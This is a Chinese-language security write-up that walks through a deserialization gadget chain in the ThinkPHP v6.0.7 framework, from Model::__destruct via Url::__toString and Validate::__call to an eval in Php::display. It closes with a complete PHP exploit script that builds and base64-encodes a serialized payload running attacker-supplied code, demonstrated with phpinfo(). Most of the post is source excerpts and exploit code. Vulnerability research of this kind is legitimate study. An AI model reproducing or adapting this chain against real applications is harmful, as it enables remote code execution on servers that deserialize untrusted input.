ThinkPHP v6.0.7 eval反序列化利用链
ThinkPHP v6.0.7 eval反序列化利用链 0x00 前言 最近分析了不少的 ThinkPHP v6.0.x 反序列化链条,发现还蛮有意思的,但美中不足的是无法拥有直接调用形如 eval 的能力。于是就自己就在最新的(目前是 ThinkPHP v6.0.7)版本上基于原有的反序列化链,再挖了一条能够执行 eval 的。 0X01 利用条件 存在一个完全可控的反序列化点。 0x0
ThinkPHP v6.0.7 eval反序列化利用链
0x00 前言
最近分析了不少的 ThinkPHP v6.0.x 反序列化链条,发现还蛮有意思的,但美中不足的是无法拥有直接调用形如 eval 的能力。于是就自己就在最新的(目前是 ThinkPHP v6.0.7)版本上基于原有的反序列化链,再挖了一条能够执行 eval 的。
0X01 利用条件
- 存在一个完全可控的反序列化点。
0x02 环境配置
直接使用 composer 安装 V6.0.7 版本的即可。
-> composer create-project topthink/think=6.0.7 tp607
-> cd tp607
-> php think run
修改入口 app/controller/Index.php 内容,创造一个可控反序列化点:

0x03 链条分析
这里还是由 ThinkPHP v6.0.x 的入口进入。
在 Model 类 (vendor/topthink/think-orm/src/Model.php) 存在一个 __destuct 魔法方法。当然 Model 这玩意是个抽象类,得从它的 继承类 入手,也就是 Pivot 类 (vendor/topthink/tink-orm/src/model/Pivot.php ) 。
abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable
{
/**
* ......
*/
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
}
class Pivot extends Model
{
/**
* ......
*/
}
我们先让 $this->lazySave = true ,从而跟进 $this->save() 方法。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
/**
* ......
*/
}
其中 $this->setAttrs($data) 这个语句无伤大雅,跟进去可以发现甚至可以说啥事也没做。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
public function setAttrs(array $data): void
{
// 进行数据处理
foreach ($data as $key => $value) {
$this->setAttr($key, $value, $data);
}
}
那么我们这里还需要依次绕过 if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) 中的两个条件。跟进 $this->isEmpty() 以及 $this->trigger('BeforeWrite') ,我们发现 $this->data 要求不为 null ,且 $this->withEvent == true 。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
public function isEmpty(): bool
{
return empty($this->data);
}
// trait ModelEvent{}
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
/**
* ......
*/
}
此时, $this->isEmpty() 返回 false ,$this->trigger('BeforeWrite') 返回 true 。我们顺利进入下一步 $result = $this->exists ? $this->updateData() : $this->insertData($sequence); 。我们在上边可以发现 $this->exists 的默认值为 false ,不妨直接跟进 $this->insertData($sequence) ,其中 sequence = null。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
protected $exists = false;
protected function insertData(string $sequence = null): bool
{
if (false === $this->trigger('BeforeInsert')) {
return false;
}
$this->checkData();
$data = $this->writeDataType($this->data);
// 时间戳自动写入
if ($this->autoWriteTimestamp) {
/**
* ......
*/
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
/**
* ......
*/
}
显然,$this->trigger('BeforeInsert') 的值在上边已经被我们构造成了 true 了,这里继续跟进 $this->checkData() 以及 $data = $this->writeDataType($this->data) 。$this->checkData() 直接可以略过,而传入 $this->writeDataType() 的参数 $this->data 在上边已经被我们构造成一个 非null 的值,这里不妨将其构造成 [7] ,由于 $this->type 的值默认为 [] ,这里的遍历是没有影响的。
trait Attribute
{
protected $type = [];
}
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
protected function checkData(): void
{
}
protected function writeDataType(array $data): array
{
foreach ($data as $name => &$value) {
if (isset($this->type[$name])) {
// 类型转换
$value = $this->writeTransform($value, $this->type[$name]);
}
}
return $data;
}
至于 $this->autoWriteTimestamp 的默认值是没有的,相当于 null ,这里直接用 弱类型比较 直接略过。
trait TimeStamp
{
protected $autoWriteTimestamp;
}
此时,我们来到 $allowFields = $this->checkAllowFields() ,其中 $this->field 和 $this->schema 的默认值都为 [] ,因而可以直接来到 else{。
trait Attribute
{
protected $schema = [];
protected $field = [];
}
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
/**
* ......
*/
}
那么,继续跟进 $this->db ,来到了 关键点 ,第一句 $query = ... 可以直接跳过,而在 $query->table($this->table . $this->suffix) 这里存在熟悉的字符拼接。这样只需要让 $this->table 或 $this->suffix 为一个 类 就可以触发那个 类 的 __toString 魔法方法了。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)->name($this->name . $this->suffix)->pk($this->pk);
if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}
/**
* ......
*/
}
简单总结一下,要触发 __toString 需要构造:
$this->lazySave=true$this->data=[7]$this->withEvent=true
至于 __toSring 魔法方法的类,我们这里选择 Url 类 (vendor/topthink/framework/src/think/route/Url.php) ,首先第一个条件 if (0 === strpos($url, '[') && $pos = strpos($url, ']')) 需要绕过,第二个条件 if (false === strpos($url, '://') && 0 !== strpos($url, '/')) 需要满足最上部分,并使得 $url 的值为 ''。
class Url
{
public function __toString()
{
return $this->build();
}
public function build()
{
// 解析URL
$url = $this->url;
$suffix = $this->suffix;
$domain = $this->domain;
$request = $this->app->request;
$vars = $this->vars;
if (0 === strpos($url, '[') && $pos = strpos($url, ']')) {
// [name] 表示使用路由命名标识生成URL
$name = substr($url, 1, $pos - 1);
$url = 'name' . substr($url, $pos + 1);
}
if (false === strpos($url, '://') && 0 !== strpos($url, '/')) {
$info = parse_url($url);
$url = !empty($info['path']) ? $info['path'] : '';
if (isset($info['fragment'])) {
// 解析锚点
$anchor = $info['fragment'];
if (false !== strpos($anchor, '?')) {
// 解析参数
[$anchor, $info['query']] = explode('?', $anchor, 2);
}
if (false !== strpos($anchor, '@')) {
// 解析域名
[$anchor, $domain] = explode('@', $anchor, 2);
}
} elseif (strpos($url, '@') && false === strpos($url, '\\')) {
// 解析域名
[$url, $domain] = explode('@', $url, 2);
}
}
if ($url) {
/**
* ......
*/
$rule = $this->route->getName($checkName, $checkDomain);
/**
* ......
*/
}
if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) {
// 匹配路由命名标识
$url = $match[0];
if ($domain && !empty($match[1])) {
$domain = $match[1];
}
if (!is_null($match[2])) {
$suffix = $match[2];
}
} elseif (!empty($rule) && isset($name)) {
throw new \InvalidArgumentException('route name not exists:' . $name);
} else {
// 检测URL绑定
$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);
/**
* ......
*/
}
/**
* ......
*/
}
}
我们先让让 $this->url 构造成 a: ,此时 $url 的值也就为 '',后边的各种条件也不会成立,可以直接跳过 。
然后再看 if($url) ,由于 弱类型 比较直接略过。
此时由于 $rule 是在 if($url){ 条件内被赋值,那么 if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) 以及 elseif (!empty($rule) && isset($name)) 这两个也不会成立,直接略过。
此时,我们来到 else{ 内,其中 $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null) 这个代码为点睛之笔。显然,$this->route 是可控的,$domain 变量的值实际上就是 $this->domain ,也是一个可控的字符型变量,我们现在就能得到了一个 [可控类] -> getDomainBind([可控字符串]) 的调用形式。
总结来说,满足该调用形式需要构造:
$this->url='a:'$this->app=给个public的request属性的任意类
然后全局搜索 __call 魔法方法,在 Validate 类 (vendor/topthink/framework/src/think/Validate.php) 中存在一个可以称为 “简直为此量身定做” 的形式。
// class Str{}
public static function studly(string $value): string
{
$key = $value;
if (isset(static::$studlyCache[$key])) {
return static::$studlyCache[$key];
}
$value = ucwords(str_replace(['-', '_'], ' ', $value));
return static::$studlyCache[$key] = str_replace(' ', '', $value);
}
public static function camel(string $value): string
{
if (isset(static::$camelCache[$value])) {
return static::$camelCache[$value];
}
return static::$camelCache[$value] = lcfirst(static::studly($value));
}
// class Validate{}
class Validate
{
public function is($value, string $rule, array $data = []): bool
{
switch (Str::camel($rule)) {
case 'require':
// 必须
$result = !empty($value) || '0' == $value;
break;
/**
* ......
*/
break;
case 'token':
$result = $this->token($value, '__token__', $data);
break;
default:
if (isset($this->type[$rule])) {
// 注册的验证规则
$result = call_user_func_array($this->type[$rule], [$value]);
} elseif (function_exists('ctype_' . $rule)) {
/**
* ......
*/
}
return $result;
}
public function __call($method, $args)
{
if ('is' == strtolower(substr($method, 0, 2))) {
$method = substr($method, 2);
}
array_push($args, lcfirst($method));
return call_user_func_array([$this, 'is'], $args);
}
}
这里先从 __call 看起,显然在调用 call_user_func_array 函数时,相当于 $this->is([$domain,'getDomainBind']) ,其中 $domain 是可控的。
跟进 $this->is 方法, $rule 变量的值即为 getDomainBind, Str::camel($rule) 的意思实际上是将 $rule = 'getDomainBind' 的 - 和 _ 替换成 '' , 并将每个单词首字母大写存入 static::$studlyCache['getDomainBind'] 中,然后回头先将首字母小写后赋值给 camel 方法的 static::$cameCache['getDomainBind'] ,即返回值为 getDomainBind 。
由于 switch{ 没有一个符合 getDomainBind 的 case 值,我们可以直接看 default 的内容。 $this->type[$rule] 相当于 $this->type['getDomainBind'] ,是可控的,而 $value 值即是上边的 $domain 也是可控的,我们现在就能得到了一个 call_user_func_array([可控变量],[[可控变量]]) 的形式了。
实际上现在也就可以进行传入 单参数 的函数调用,可这并不够!!!我们来到 Php 类 (vendor/topthink/framework/src/think/view/driver/Php.php) 中,这里存在一个调用 eval 的且可传 单参数 的方法 display 。
class Php implements TemplateHandlerInterface
{
public function display(string $content, array $data = []): void
{
$this->content = $content;
extract($data, EXTR_OVERWRITE);
eval('?>' . $this->content);
}
}
假若用上边的 call_user_func_array([可控变量],[[可控变量]]) 形式,构造出 call_user_func_array(['Php类','display'],['<?php (任意代码) ?>']) 即可执行 eval 了。
总的来说,我们只需要构造如下:
$this->type=["getDomainBind" => [Php类,'display']]
就可以了。
0x04 简单示图
- 构造并触发
__toString:

- 构造
[可控类] -> getDomainBind([可控字符串])进入__call:

- 构造
call_user_func_array([可控变量],[[可控变量]])执行eval:

0x05 EXP
<?php
namespace think\model\concern{
trait Attribute{
private $data = [7];
}
}
namespace think\view\driver{
class Php{}
}
namespace think{
abstract class Model{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
protected $table;
function __construct($cmd){
$this->lazySave = true;
$this->withEvent = false;
$this->table = new route\Url(new Middleware,new Validate,$cmd);
}
}
class Middleware{
public $request = 2333;
}
class Validate{
protected $type;
function __construct(){
$this->type = [
"getDomainBind" => [new view\driver\Php,'display']
];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{}
}
namespace think\route{
class Url
{
protected $url = 'a:';
protected $domain;
protected $app;
protected $route;
function __construct($app,$route,$cmd){
$this->domain = $cmd;
$this->app = $app;
$this->route = $route;
}
}
}
namespace{
echo base64_encode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>')));
}
利用结果:
